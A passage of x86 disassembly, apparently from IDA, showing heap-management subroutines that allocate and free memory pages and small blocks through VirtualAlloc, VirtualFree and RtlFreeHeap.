sub_425D50+74j push 8000h push 0 mov edx, [ebp+var_4] push edx call ds:dword_4F54B0 ; VirtualFree loc_425F0C: ; CODE XREF: sub_425D50+56j cmp [ebp+var_C], offset off_451BB8 jz short loc_425F28 mov eax, [ebp+var_C] push eax push 0 mov ecx, ds:dword_4F39E8 push ecx call ds:dword_4F5414 ; RtlFreeHeap loc_425F28: ; CODE XREF: sub_425D50+1C3j xor eax, eax loc_425F2A: ; CODE XREF: sub_425D50+36j ; sub_425D50+1A9j mov esp, ebp pop ebp retn sub_425D50 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F30 proc near ; CODE XREF: sub_425FB0+136p arg_0 = dword ptr 8 push ebp mov ebp, esp push 8000h push 0 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call ds:dword_4F54B0 ; VirtualFree mov edx, ds:off_453BD8 cmp edx, [ebp+arg_0] jnz short loc_425F5E mov eax, [ebp+arg_0] mov ecx, [eax+4] mov ds:off_453BD8, ecx loc_425F5E: ; CODE XREF: sub_425F30+20j cmp [ebp+arg_0], offset off_451BB8 jz short loc_425F97 mov edx, [ebp+arg_0] mov eax, [edx+4] mov ecx, [ebp+arg_0] mov edx, [ecx] mov [eax], edx mov eax, [ebp+arg_0] mov ecx, [eax] mov edx, [ebp+arg_0] mov eax, [edx+4] mov [ecx+4], eax mov ecx, [ebp+arg_0] push ecx push 0 mov edx, ds:dword_4F39E8 push edx call ds:dword_4F5414 ; RtlFreeHeap jmp short loc_425FA1 ; --------------------------------------------------------------------------- loc_425F97: ; CODE XREF: sub_425F30+35j mov ds:dword_451BC8, 0FFFFFFFFh loc_425FA1: ; CODE XREF: sub_425F30+65j pop ebp retn sub_425F30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425FB0 proc near ; CODE XREF: sub_4261A0+60p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h mov eax, ds:off_451BBC mov [ebp+var_14], eax loc_425FBE: ; CODE XREF: sub_425FB0+14Dj mov ecx, [ebp+var_14] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_4260EE mov [ebp+var_C], 3FFh mov [ebp+var_10], 0 mov edx, [ebp+var_C] mov eax, [ebp+var_14] lea ecx, [eax+edx*8+18h] mov [ebp+var_4], ecx jmp short loc_425FFA ; --------------------------------------------------------------------------- loc_425FE8: ; CODE XREF: sub_425FB0:loc_42607Fj mov edx, [ebp+var_C] sub edx, 1 mov [ebp+var_C], edx mov eax, [ebp+var_4] sub eax, 8 mov [ebp+var_4], eax loc_425FFA: ; CODE XREF: sub_425FB0+36j cmp [ebp+var_C], 0 jl loc_426084 mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0F0h jnz short loc_42607F push 4000h push 1000h mov edx, [ebp+var_C] shl edx, 0Ch mov eax, [ebp+var_14] mov ecx, [eax+10h] add ecx, edx push ecx call ds:dword_4F54B0 ; VirtualFree test eax, eax jz short loc_42607F mov edx, [ebp+var_4] mov dword ptr [edx], 0FFFFFFFFh mov eax, ds:dword_4F33E0 sub eax, 1 mov ds:dword_4F33E0, eax mov ecx, [ebp+var_14] cmp dword ptr [ecx+0Ch], 0 jz short loc_42605C mov edx, [ebp+var_14] mov eax, [edx+0Ch] cmp eax, [ebp+var_4] jbe short loc_426065 loc_42605C: ; CODE XREF: sub_425FB0+9Fj mov ecx, [ebp+var_14] mov edx, [ebp+var_4] mov [ecx+0Ch], edx loc_426065: ; CODE XREF: sub_425FB0+AAj mov eax, [ebp+var_10] add eax, 1 mov [ebp+var_10], eax mov ecx, [ebp+arg_0] sub ecx, 1 mov [ebp+arg_0], ecx cmp [ebp+arg_0], 0 jnz short loc_42607F jmp short loc_426084 ; --------------------------------------------------------------------------- loc_42607F: ; CODE XREF: sub_425FB0+5Dj ; sub_425FB0+80j ... jmp loc_425FE8 ; --------------------------------------------------------------------------- loc_426084: ; CODE XREF: sub_425FB0+4Ej ; sub_425FB0+CDj mov edx, [ebp+var_14] mov [ebp+var_8], edx mov eax, [ebp+var_14] mov ecx, [eax+4] mov [ebp+var_14], ecx cmp [ebp+var_10], 0 jz short loc_4260EE mov edx, [ebp+var_8] cmp dword ptr [edx+18h], 0FFFFFFFFh jnz short loc_4260EE mov [ebp+var_C], 1 mov eax, [ebp+var_8] add eax, 20h mov [ebp+var_4], eax jmp short loc_4260C6 ; --------------------------------------------------------------------------- loc_4260B4: ; CODE XREF: sub_425FB0+127j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_4] add edx, 8 mov [ebp+var_4], edx loc_4260C6: ; CODE XREF: sub_425FB0+102j cmp [ebp+var_C], 400h jge short loc_4260D9 mov eax, [ebp+var_4] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_4260D9 jmp short loc_4260B4 ; --------------------------------------------------------------------------- loc_4260D9: ; CODE XREF: sub_425FB0+11Dj ; sub_425FB0+125j cmp [ebp+var_C], 400h jnz short loc_4260EE mov ecx, [ebp+var_8] push ecx call sub_425F30 add esp, 4 loc_4260EE: ; CODE XREF: sub_425FB0+15j ; sub_425FB0+E7j ... mov edx, [ebp+var_14] cmp edx, ds:off_451BBC jz short loc_426103 cmp [ebp+arg_0], 0 jg loc_425FBE loc_426103: ; CODE XREF: sub_425FB0+147j mov esp, ebp pop ebp retn sub_425FB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426110 proc near ; CODE XREF: sub_41D6B0+B6p ; sub_423620+12Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], offset off_451BB8 loc_42611D: ; CODE XREF: sub_426110+88j mov eax, [ebp+var_8] mov ecx, [ebp+arg_0] cmp ecx, [eax+10h] jbe short loc_426189 mov edx, [ebp+var_8] mov eax, [ebp+arg_0] cmp eax, [edx+14h] jnb short loc_426189 mov ecx, [ebp+arg_0] and ecx, 0Fh test ecx, ecx jnz short loc_426185 mov edx, [ebp+arg_0] and edx, 0FFFh xor eax, eax add eax, 100h cmp edx, eax jb short loc_426185 mov ecx, [ebp+arg_4] mov edx, [ebp+var_8] mov [ecx], edx mov eax, [ebp+arg_0] and eax, 0FFFFF000h mov [ebp+var_4], eax mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov [ecx], edx mov eax, [ebp+var_4] add eax, 100h mov ecx, [ebp+arg_0] sub ecx, eax sar ecx, 4 mov edx, [ebp+var_4] lea eax, [edx+ecx+8] jmp short loc_42619C ; --------------------------------------------------------------------------- loc_426185: ; CODE XREF: sub_426110+2Bj ; sub_426110+3Fj xor eax, eax jmp short loc_42619C ; --------------------------------------------------------------------------- loc_426189: ; CODE XREF: sub_426110+16j ; sub_426110+21j mov eax, [ebp+var_8] mov ecx, [eax] mov [ebp+var_8], ecx cmp [ebp+var_8], offset off_451BB8 jnz short loc_42611D xor eax, eax loc_42619C: ; CODE XREF: sub_426110+73j ; sub_426110+77j mov esp, ebp pop ebp retn sub_426110 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261A0 proc near ; CODE XREF: sub_423830+340p ; sub_423830+3ADp ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch mov edx, [ebp+arg_0] lea eax, [edx+ecx*8+18h] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_4] mov ecx, [eax] add ecx, edx mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+arg_8] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0F1h mov edx, [ebp+var_4] cmp dword ptr [edx], 0F0h jnz short loc_426208 mov eax, ds:dword_4F33E0 add eax, 1 mov ds:dword_4F33E0, eax cmp ds:dword_4F33E0, 20h jnz short loc_426208 push 10h call sub_425FB0 add esp, 4 loc_426208: ; CODE XREF: sub_4261A0+46j ; sub_4261A0+5Cj mov esp, ebp pop ebp retn sub_4261A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426210 proc near ; CODE XREF: sub_4234C0+CEp ; sub_423830+2ECp var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 20h mov eax, ds:off_453BD8 mov [ebp+var_20], eax loc_42621E: ; CODE XREF: sub_426210+188j mov ecx, [ebp+var_20] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_426387 mov edx, [ebp+var_20] mov eax, [edx+8] mov [ebp+var_4], eax mov ecx, [ebp+var_20] add ecx, 2018h mov [ebp+var_10], ecx mov edx, [ebp+var_20] add edx, 18h mov eax, [ebp+var_4] sub eax, edx sar eax, 3 shl eax, 0Ch mov ecx, [ebp+var_20] mov edx, [ecx+10h] add edx, eax mov [ebp+var_8], edx jmp short loc_426273 ; --------------------------------------------------------------------------- loc_42625E: ; CODE XREF: sub_426210:loc_4262DFj mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, 1000h mov [ebp+var_8], ecx loc_426273: ; CODE XREF: sub_426210+4Cj mov edx, [ebp+var_4] cmp edx, [ebp+var_10] jnb short loc_4262E4 mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_0] jl short loc_4262DF mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jbe short loc_4262DF mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_4265D0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_4262D6 mov edx, [ebp+var_20] mov ds:off_453BD8, edx mov eax, [ebp+var_4] mov ecx, [eax] sub ecx, [ebp+arg_0] mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+var_20] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_C] jmp loc_4265C4 ; --------------------------------------------------------------------------- loc_4262D6: ; CODE XREF: sub_426210+9Dj mov edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [edx+4], eax loc_4262DF: ; CODE XREF: sub_426210+73j ; sub_426210+7Ej jmp loc_42625E ; --------------------------------------------------------------------------- loc_4262E4: ; CODE XREF: sub_426210+69j mov ecx, [ebp+var_20] add ecx, 18h mov [ebp+var_4], ecx mov edx, [ebp+var_20] mov eax, [edx+8] mov [ebp+var_10], eax mov ecx, [ebp+var_20] mov edx, [ecx+10h] mov [ebp+var_8], edx jmp short loc_426316 ; --------------------------------------------------------------------------- loc_426301: ; CODE XREF: sub_426210:loc_426382j mov eax, [ebp+var_4] add eax, 8 mov [ebp+var_4], eax mov ecx, [ebp+var_8] add ecx, 1000h mov [ebp+var_8], ecx loc_426316: ; CODE XREF: sub_426210+EFj mov edx, [ebp+var_4] cmp edx, [ebp+var_10] jnb short loc_426387 mov eax, [ebp+var_4] mov ecx, [eax] cmp ecx, [ebp+arg_0] jl short loc_426382 mov edx, [ebp+var_4] mov eax, [edx+4] cmp eax, [ebp+arg_0] jbe short loc_426382 mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_4] mov eax, [edx] push eax mov ecx, [ebp+var_8] push ecx call sub_4265D0 add esp, 0Ch mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_426379 mov edx, [ebp+var_20] mov ds:off_453BD8, edx mov eax, [ebp+var_4] mov ecx, [eax] sub ecx, [ebp+arg_0] mov edx, [ebp+var_4] mov [edx], ecx mov eax, [ebp+var_20] mov ecx, [ebp+var_4] mov [eax+8], ecx mov eax, [ebp+var_C] jmp loc_4265C4 ; --------------------------------------------------------------------------- loc_426379: ; CODE XREF: sub_426210+140j mov edx, [ebp+var_4] mov eax, [ebp+arg_0] mov [edx+4], eax loc_426382: ; CODE XREF: sub_426210+116j ; sub_426210+121j jmp loc_426301 ; --------------------------------------------------------------------------- loc_426387: ; CODE XREF: sub_426210+15j ; sub_426210+10Cj mov ecx, [ebp+var_20] mov edx, [ecx] mov [ebp+var_20], edx mov eax, [ebp+var_20] cmp eax, ds:off_453BD8 jnz loc_42621E mov [ebp+var_20], offset off_451BB8 loc_4263A5: ; CODE XREF: sub_426210+346j mov ecx, [ebp+var_20] cmp dword ptr [ecx+10h], 0FFFFFFFFh jz loc_426547 mov edx, [ebp+var_20] cmp dword ptr [edx+0Ch], 0 jz loc_426547 mov eax, [ebp+var_20] mov ecx, [eax+0Ch] mov [ebp+var_4], ecx mov edx, [ebp+var_20] add edx, 18h mov eax, [ebp+var_4] sub eax, edx sar eax, 3 shl eax, 0Ch mov ecx, [ebp+var_20] mov edx, [ecx+10h] add edx, eax mov [ebp+var_8], edx mov [ebp+var_14], 0 mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_426405 ; --------------------------------------------------------------------------- loc_4263F3: ; CODE XREF: sub_426210+203j mov ecx, [ebp+var_10] add ecx, 8 mov [ebp+var_10], ecx mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx loc_426405: ; CODE XREF: sub_426210+1E1j mov eax, [ebp+var_10] cmp dword ptr [eax], 0FFFFFFFFh jnz short loc_426415 cmp [ebp+var_14], 10h jge short loc_426415 jmp short loc_4263F3 ; --------------------------------------------------------------------------- loc_426415: ; CODE XREF: sub_426210+1FBj ; sub_426210+201j push 4 push 1000h mov ecx, [ebp+var_14] shl ecx, 0Ch push ecx mov edx, [ebp+var_8] push edx call ds:dword_4F54B4 ; VirtualAlloc cmp eax, [ebp+var_8] jnz loc_426543 push 0 mov eax, [ebp+var_14] shl eax, 0Ch push eax mov ecx, [ebp+var_8] push ecx call sub_41E4B0 add esp, 0Ch mov [ebp+var_18], 0 mov edx, [ebp+var_8] mov [ebp+var_1C], edx mov eax, [ebp+var_4] mov [ebp+var_10], eax jmp short loc_42647E ; --------------------------------------------------------------------------- loc_426460: ; CODE XREF: sub_426210+2A8j mov ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_18], ecx mov edx, [ebp+var_1C] add edx, 1000h mov [ebp+var_1C], edx mov eax, [ebp+var_10] add eax, 8 mov [ebp+var_10], eax loc_42647E: ; CODE XREF: sub_426210+24Ej mov ecx, [ebp+var_18] cmp ecx, [ebp+var_14] jge short loc_4264BA mov edx, [ebp+var_1C] add edx, 8 mov eax, [ebp+var_1C] mov [eax], edx mov ecx, [ebp+var_1C] mov dword ptr [ecx+4], 0F0h mov edx, [ebp+var_1C] mov byte ptr [edx+0F8h], 0FFh mov eax, [ebp+var_10] mov dword ptr [eax], 0F0h mov ecx, [ebp+var_10] mov dword ptr [ecx+4], 0F1h jmp short loc_426460 ; --------------------------------------------------------------------------- loc_4264BA: ; CODE XREF: sub_426210+274j mov edx, [ebp+var_20] mov ds:off_453BD8, edx loc_4264C3: ; CODE XREF: sub_426210+2D1j mov eax, [ebp+var_20] add eax, 2018h cmp [ebp+var_10], eax jnb short loc_4264E3 mov ecx, [ebp+var_10] cmp dword ptr [ecx], 0FFFFFFFFh jz short loc_4264E3 mov edx, [ebp+var_10] add edx, 8 mov [ebp+var_10], edx jmp short loc_4264C3 ; --------------------------------------------------------------------------- loc_4264E3: ; CODE XREF: sub_426210+2BEj ; sub_426210+2C6j mov eax, [ebp+var_20] add eax, 2018h cmp [ebp+var_10], eax sbb ecx, ecx and ecx, [ebp+var_10] mov edx, [ebp+var_20] mov [edx+0Ch], ecx mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_0] mov [eax+8], cl mov edx, [ebp+var_20] mov eax, [ebp+var_4] mov [edx+8], eax mov ecx, [ebp+var_4] mov edx, [ecx] sub edx, [ebp+arg_0] mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] lea eax, [edx+ecx+8] mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] mov eax, [edx+4] sub eax, [ebp+arg_0] mov ecx, [ebp+var_8] mov [ecx+4], eax mov eax, [ebp+var_8] add eax, 100h jmp loc_4265C4 ; --------------------------------------------------------------------------- loc_426543: ; CODE XREF: sub_426210+220j xor eax, eax jmp short loc_4265C4 ; --------------------------------------------------------------------------- loc_426547: ; CODE XREF: sub_426210+19Cj ; sub_426210+1A9j mov edx, [ebp+var_20] mov eax, [edx] mov [ebp+var_20], eax cmp [ebp+var_20], offset off_451BB8 jnz loc_4263A5 call sub_425D50 mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_4265C2 mov ecx, [ebp+var_20] mov edx, [ecx+10h] mov [ebp+var_8], edx mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_0] mov [eax+8], cl mov edx, [ebp+var_20] mov ds:off_453BD8, edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_8] lea edx, [ecx+eax+8] mov eax, [ebp+var_8] mov [eax], edx mov ecx, 0F0h sub ecx, [ebp+arg_0] mov edx, [ebp+var_8] mov [edx+4], ecx mov eax, [ebp+arg_0] and eax, 0FFh mov ecx, [ebp+var_20] mov edx, [ecx+18h] sub edx, eax mov eax, [ebp+var_20] mov [eax+18h], edx mov eax, [ebp+var_8] add eax, 100h jmp short loc_4265C4 ; --------------------------------------------------------------------------- loc_4265C2: ; CODE XREF: sub_426210+358j xor eax, eax loc_4265C4: ; CODE XREF: sub_426210+C1j ; sub_426210+164j ... mov esp, ebp pop ebp retn sub_426210 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4265D0 proc near ; CODE XREF: sub_426210+8Ep ; sub_426210+131p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_0] mov ecx, [eax] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov [ebp+var_8], edx mov eax, [ebp+arg_0] add eax, 0F8h mov [ebp+var_14], eax mov ecx, [ebp+arg_0] mov edx, [ecx+4] cmp edx, [ebp+arg_8] jb short loc_42665D mov eax, [ebp+var_8] mov cl, byte ptr [ebp+arg_8] mov [eax], cl mov edx, [ebp+var_8] add edx, [ebp+arg_8] cmp edx, [ebp+var_14] jnb short loc_42662B mov eax, [ebp+arg_0] mov ecx, [eax] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+arg_0] mov ecx, [eax+4] sub ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx+4], ecx jmp short loc_426640 ; --------------------------------------------------------------------------- loc_42662B: ; CODE XREF: sub_4265D0+3Bj mov eax, [ebp+arg_0] add eax, 8 mov ecx, [ebp+arg_0] mov [ecx], eax mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 loc_426640: ; CODE XREF: sub_4265D0+59j mov eax, [ebp+arg_0] add eax, 8 mov ecx, [ebp+var_8] sub ecx, eax shl ecx, 4 mov edx, [ebp+arg_0] lea eax, [edx+ecx+100h] jmp loc_426875 ; --------------------------------------------------------------------------- loc_42665D: ; CODE XREF: sub_4265D0+28j mov eax, [ebp+arg_0] mov ecx, [eax+4] mov edx, [ebp+var_8] xor eax, eax mov al, [edx+ecx] test eax, eax jz short loc_42667B mov ecx, [ebp+arg_0] mov edx, [ebp+var_8] add edx, [ecx+4] mov [ebp+var_8], edx loc_42667B: ; CODE XREF: sub_4265D0+9Dj ; sub_4265D0:loc_426774j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb loc_426779 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] test edx, edx jnz loc_426765 mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_C], eax mov [ebp+var_10], 1 jmp short loc_4266BD ; --------------------------------------------------------------------------- loc_4266AB: ; CODE XREF: sub_4265D0+F8j mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_4266BD: ; CODE XREF: sub_4265D0+D9j mov eax, [ebp+var_C] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_4266CA jmp short loc_4266AB ; --------------------------------------------------------------------------- loc_4266CA: ; CODE XREF: sub_4265D0+F6j mov edx, [ebp+var_10] cmp edx, [ebp+arg_8] jnb short loc_426705 mov eax, [ebp+var_8] cmp eax, [ebp+var_4] jnz short loc_4266E5 mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+4], edx jmp short loc_4266FD ; --------------------------------------------------------------------------- loc_4266E5: ; CODE XREF: sub_4265D0+108j mov eax, [ebp+arg_4] sub eax, [ebp+var_10] mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4266FD xor eax, eax jmp loc_426875 ; --------------------------------------------------------------------------- loc_4266FD: ; CODE XREF: sub_4265D0+113j ; sub_4265D0+124j mov edx, [ebp+var_C] mov [ebp+var_8], edx jmp short loc_426763 ; --------------------------------------------------------------------------- loc_426705: ; CODE XREF: sub_4265D0+100j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb short loc_426729 mov ecx, [ebp+var_8] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+var_10] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax jmp short loc_42673E ; --------------------------------------------------------------------------- loc_426729: ; CODE XREF: sub_4265D0+13Ej mov edx, [ebp+arg_0] add edx, 8 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 loc_42673E: ; CODE XREF: sub_4265D0+157j mov edx, [ebp+var_8] mov al, byte ptr [ebp+arg_8] mov [edx], al mov ecx, [ebp+arg_0] add ecx, 8 mov edx, [ebp+var_8] sub edx, ecx shl edx, 4 mov eax, [ebp+arg_0] lea eax, [eax+edx+100h] jmp loc_426875 ; --------------------------------------------------------------------------- loc_426763: ; CODE XREF: sub_4265D0+133j jmp short loc_426774 ; --------------------------------------------------------------------------- loc_426765: ; CODE XREF: sub_4265D0+C3j mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_426774: ; CODE XREF: sub_4265D0:loc_426763j jmp loc_42667B ; --------------------------------------------------------------------------- loc_426779: ; CODE XREF: sub_4265D0+B4j mov ecx, [ebp+arg_0] add ecx, 8 mov [ebp+var_8], ecx loc_426782: ; CODE XREF: sub_4265D0:loc_42686Ej mov edx, [ebp+var_8] cmp edx, [ebp+var_4] jnb loc_426873 mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb loc_426873 mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] test edx, edx jnz loc_42685F mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_C], eax mov [ebp+var_10], 1 jmp short loc_4267D0 ; --------------------------------------------------------------------------- loc_4267BE: ; CODE XREF: sub_4265D0+20Bj mov ecx, [ebp+var_C] add ecx, 1 mov [ebp+var_C], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_4267D0: ; CODE XREF: sub_4265D0+1ECj mov eax, [ebp+var_C] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_4267DD jmp short loc_4267BE ; --------------------------------------------------------------------------- loc_4267DD: ; CODE XREF: sub_4265D0+209j mov edx, [ebp+var_10] cmp edx, [ebp+arg_8] jnb short loc_426802 mov eax, [ebp+arg_4] sub eax, [ebp+var_10] mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_4267FA xor eax, eax jmp short loc_426875 ; --------------------------------------------------------------------------- loc_4267FA: ; CODE XREF: sub_4265D0+224j mov edx, [ebp+var_C] mov [ebp+var_8], edx jmp short loc_42685D ; --------------------------------------------------------------------------- loc_426802: ; CODE XREF: sub_4265D0+213j mov eax, [ebp+var_8] add eax, [ebp+arg_8] cmp eax, [ebp+var_14] jnb short loc_426826 mov ecx, [ebp+var_8] add ecx, [ebp+arg_8] mov edx, [ebp+arg_0] mov [edx], ecx mov eax, [ebp+var_10] sub eax, [ebp+arg_8] mov ecx, [ebp+arg_0] mov [ecx+4], eax jmp short loc_42683B ; --------------------------------------------------------------------------- loc_426826: ; CODE XREF: sub_4265D0+23Bj mov edx, [ebp+arg_0] add edx, 8 mov eax, [ebp+arg_0] mov [eax], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 loc_42683B: ; CODE XREF: sub_4265D0+254j mov edx, [ebp+var_8] mov al, byte ptr [ebp+arg_8] mov [edx], al mov ecx, [ebp+arg_0] add ecx, 8 mov edx, [ebp+var_8] sub edx, ecx shl edx, 4 mov eax, [ebp+arg_0] lea eax, [eax+edx+100h] jmp short loc_426875 ; --------------------------------------------------------------------------- loc_42685D: ; CODE XREF: sub_4265D0+230j jmp short loc_42686E ; --------------------------------------------------------------------------- loc_42685F: ; CODE XREF: sub_4265D0+1D6j mov ecx, [ebp+var_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_8] add eax, edx mov [ebp+var_8], eax loc_42686E: ; CODE XREF: sub_4265D0:loc_42685Dj jmp loc_426782 ; --------------------------------------------------------------------------- loc_426873: ; CODE XREF: sub_4265D0+1B8j ; sub_4265D0+1C7j xor eax, eax loc_426875: ; CODE XREF: sub_4265D0+88j ; sub_4265D0+128j ... mov esp, ebp pop ebp retn sub_4265D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426880 proc near ; CODE XREF: sub_423620+161p ; sub_423830+2D1p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] sub ecx, [eax+10h] sar ecx, 0Ch mov edx, [ebp+arg_0] lea eax, [edx+ecx*8+18h] mov [ebp+var_4], eax mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov [ebp+var_C], edx mov eax, [ebp+var_C] cmp eax, [ebp+arg_C] jbe short loc_4268E7 mov ecx, [ebp+arg_8] mov dl, byte ptr [ebp+arg_C] mov [ecx], dl mov eax, [ebp+var_C] sub eax, [ebp+arg_C] mov ecx, [ebp+var_4] mov edx, [ecx] add edx, eax mov eax, [ebp+var_4] mov [eax], edx mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 0F1h mov edx, [ebp+var_14] add edx, 1 mov [ebp+var_14], edx jmp loc_4269DD ; --------------------------------------------------------------------------- loc_4268E7: ; CODE XREF: sub_426880+33j mov eax, [ebp+var_C] cmp eax, [ebp+arg_C] jnb loc_4269DD mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov edx, [ebp+arg_4] add edx, 0F8h cmp ecx, edx ja loc_4269DD mov eax, [ebp+arg_8] add eax, [ebp+var_C] mov [ebp+var_10], eax mov ecx, [ebp+arg_8] add ecx, [ebp+arg_C] mov [ebp+var_18], ecx jmp short loc_426927 ; --------------------------------------------------------------------------- loc_42691E: ; CODE XREF: sub_426880+BAj mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx loc_426927: ; CODE XREF: sub_426880+9Cj mov eax, [ebp+var_10] cmp eax, [ebp+var_18] jnb short loc_42693C mov ecx, [ebp+var_10] xor edx, edx mov dl, [ecx] test edx, edx jnz short loc_42693C jmp short loc_42691E ; --------------------------------------------------------------------------- loc_42693C: ; CODE XREF: sub_426880+ADj ; sub_426880+B8j mov eax, [ebp+var_10] cmp eax, [ebp+var_18] jnz loc_4269DD mov ecx, [ebp+arg_8] mov dl, byte ptr [ebp+arg_C] mov [ecx], dl mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] cmp ecx, [eax] ja short loc_4269C2 mov edx, [ebp+arg_4] mov eax, [ebp+var_18] cmp eax, [edx] jbe short loc_4269C2 mov ecx, [ebp+arg_4] add ecx, 0F8h cmp [ebp+var_18], ecx jnb short loc_4269AD mov edx, [ebp+arg_4] mov eax, [ebp+var_18] mov [edx], eax mov [ebp+var_8], 0 jmp short loc_426995 ; --------------------------------------------------------------------------- loc_426983: ; CODE XREF: sub_426880+120j mov ecx, [ebp+var_8] add ecx, 1 mov [ebp+var_8], ecx mov edx, [ebp+var_18] add edx, 1 mov [ebp+var_18], edx loc_426995: ; CODE XREF: sub_426880+101j mov eax, [ebp+var_18] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_4269A2 jmp short loc_426983 ; --------------------------------------------------------------------------- loc_4269A2: ; CODE XREF: sub_426880+11Ej mov edx, 